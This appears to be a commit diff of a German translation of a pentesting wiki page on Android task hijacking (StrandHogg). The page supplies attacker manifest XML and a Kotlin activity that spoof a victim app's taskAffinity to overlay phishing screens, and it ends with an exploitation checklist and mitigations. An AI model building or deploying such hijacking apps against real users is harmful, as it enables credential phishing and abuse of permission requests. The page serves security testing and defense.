Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h

This commit is contained in:
Translator 2025-07-23 06:11:10 +00:00
parent e234d9e556
commit 4466586db1

View File

@ -15,39 +15,89 @@ Hier ist eine kurze Übersicht über Aktivitätsübergänge:
![https://developer.android.com/images/fundamentals/diagram_backstack.png](<../../images/image (698).png>)
## Task-Affinitätsangriff
---
### Übersicht über Task-Affinität und Startmodi
## Task-Affinitätsangriffe
In Android-Anwendungen gibt die **Task-Affinität** die bevorzugte Task einer Aktivität an, die typischerweise mit dem Paketnamen der App übereinstimmt. Diese Einrichtung ist entscheidend für die Erstellung einer Proof-of-Concept (PoC) App zur Demonstration des Angriffs.
`taskAffinity` sagt Android, zu welcher Task eine `Activity` *bevorzugt* gehören würde. Wenn zwei Aktivitäten die gleiche Affinität teilen, **darf Android sie im selben Back Stack zusammenführen, auch wenn sie aus verschiedenen APKs stammen**.
### Startmodi
Wenn ein Angreifer eine bösartige Aktivität an die **Wurzel** dieses Stacks platzieren kann, wird jedes Mal, wenn das Opfer die legitime Anwendung öffnet, die bösartige Benutzeroberfläche das Erste sein, was der Benutzer sieht perfekt für Phishing oder missbräuchliche Berechtigungsanfragen.
Das Attribut `launchMode` steuert die Handhabung von Aktivitätsinstanzen innerhalb von Tasks. Der **singleTask**-Modus ist für diesen Angriff entscheidend und diktiert drei Szenarien basierend auf den vorhandenen Aktivitätsinstanzen und Übereinstimmungen der Task-Affinität. Der Exploit beruht auf der Fähigkeit der App des Angreifers, die Task-Affinität der Ziel-App zu imitieren, wodurch das Android-System in die Irre geführt wird, die App des Angreifers anstelle der beabsichtigten Ziel-App zu starten.
Die Angriffsfläche ist breiter, als viele Entwickler denken, da **jede Aktivität automatisch eine Affinität erbt, die dem Anwendungs-Paketnamen entspricht** (es sei denn, der Entwickler setzt `android:taskAffinity=""`). Daher lässt *nichts zu tun* die App bereits für Task-Hijacking auf Android-Versionen vor 11 offen.
### Detaillierte Angriffs Schritte
### Klassisches "singleTask / StrandHogg"-Szenario
1. **Installation der bösartigen App**: Das Opfer installiert die App des Angreifers auf seinem Gerät.
2. **Erste Aktivierung**: Das Opfer öffnet zuerst die bösartige App und bereitet das Gerät für den Angriff vor.
3. **Versuch, die Ziel-App zu starten**: Das Opfer versucht, die Ziel-App zu öffnen.
4. **Ausführung der Hijack**: Zu einem bestimmten Zeitpunkt versucht die App, die **singleTask**-Ansicht zu öffnen. Aufgrund der übereinstimmenden Task-Affinität wird die bösartige App anstelle der Ziel-App gestartet.
5. **Täuschung**: Die bösartige App zeigt einen gefälschten Anmeldebildschirm, der der Ziel-App ähnelt, und täuscht den Benutzer, sensible Informationen einzugeben.
1. Der Angreifer erklärt eine Aktivität mit:
```xml
<activity android:name=".EvilActivity"
android:exported="true"
android:taskAffinity="com.victim.package"
android:launchMode="singleTask" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
2. Die bösartige App wird einmal gestartet, sodass die Task (mit der gefälschten Affinität) in den letzten Aufgaben existiert.
3. Wenn der Benutzer später die echte Anwendung öffnet, stellt Android fest, dass es bereits eine Task gibt, deren **Wurzel-Affinität mit dem Paket übereinstimmt**, und bringt einfach diese Task in den Vordergrund.
4. Die Benutzeroberfläche des Angreifers wird zuerst angezeigt.
> [!TIP]
> Beachten Sie, dass für diesen Angriff die verwundbare Ansicht **nicht auf exported true** gesetzt sein muss, noch muss sie die Hauptaktivität sein.
### Standard-Affinitätsvariante (kein `singleTask`) Caller ID Fallstudie
Für eine praktische Implementierung dieses Angriffs verweisen Sie auf das Task Hijacking Strandhogg-Repository auf GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
Die in der **Caller ID (caller.id.phone.number.block)** Anwendung gemeldete Schwachstelle zeigt, dass der Angriff *auch* gegen den Standard-`standard`-Startmodus funktioniert:
### Präventionsmaßnahmen
1. Die Angreiferanwendung erstellt eine gefälschte Wurzelaktivität und versteckt sich sofort:
```kotlin
class HackActivity : AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
moveTaskToBack(true) // halte die Task in den letzten, aber aus dem Sichtfeld
}
}
```
2. Das Manifest muss nur das Paket des Opfers in `taskAffinity` kopieren:
```xml
<activity android:name=".HackActivity"
android:exported="true"
android:taskAffinity="com.caller.id.phone.number.block" >
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
```
3. Sobald der Benutzer die bösartige App **einmal** installiert und geöffnet hat, existiert eine Task, deren Affinität dem Paket des Opfers entspricht (aber im Hintergrund sitzt).
4. Wenn die echte Caller ID-Anwendung gestartet wird, verwendet Android diese Task erneut und bringt `HackActivity` in den Vordergrund → Phishing-Fenster/Berechtigungsmissbrauch.
Um solche Angriffe zu verhindern, können Entwickler:
- **`taskAffinity`** der **singleTask**-Ansicht auf eine leere Zeichenfolge setzen (`android:taskAffinity=""`)
- Den **`singleInstance`**-Startmodus wählen, um die Isolation ihrer App von anderen zu gewährleisten.
- Die Funktion **`onBackPressed()`** anpassen, um zusätzlichen Schutz gegen Task-Hijacking zu bieten.
> HINWEIS: Ab **Android 11 (API 30)** platziert das System *nicht* standardmäßig zwei Pakete, die nicht Teil derselben UID sind, in dieselbe Task, wodurch diese spezielle Variante gemildert wird. Ältere Versionen bleiben anfällig.
## **Referenzen**
---
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
## Erkennungs- & Ausnutzungscheckliste
1. Ziehen Sie `AndroidManifest.xml` aus der Ziel-APK und überprüfen Sie, ob jede `<activity>` (oder das globale `<application>`-Element) `android:taskAffinity=""` (leer) **oder** einen benutzerdefinierten Wert enthält.
2. Wenn nicht, erstellen Sie eine bösartige App:
- `android:taskAffinity` = Paketname des Opfers.
- Stellen Sie einen `MAIN/LAUNCHER`-Intent bereit, damit der Benutzer sie einmal öffnen kann.
- Optional `moveTaskToBack(true)` aufrufen, um sofort zu verstecken.
3. Lassen Sie das Opfer ihre legitime Anwendung öffnen → hijacken.
## Minderung
Entwickler sollten:
* `android:taskAffinity=""` auf Anwendungsebene (empfohlen) **oder** jeder Aktivität eine einzigartige, private Affinität zuweisen.
* Für hochsensible Bildschirme die obigen Punkte mit `android:launchMode="singleInstance"` oder modernen [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode) -Schutzmaßnahmen kombinieren.
* Die `targetSdkVersion` der App aktualisieren und die **Android 11**-Verhaltensänderungen durchsetzen, bei denen Tasks standardmäßig nicht über Pakete hinweg geteilt werden.
---
## Referenzen
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
{{#include ../../banners/hacktricks-training.md}}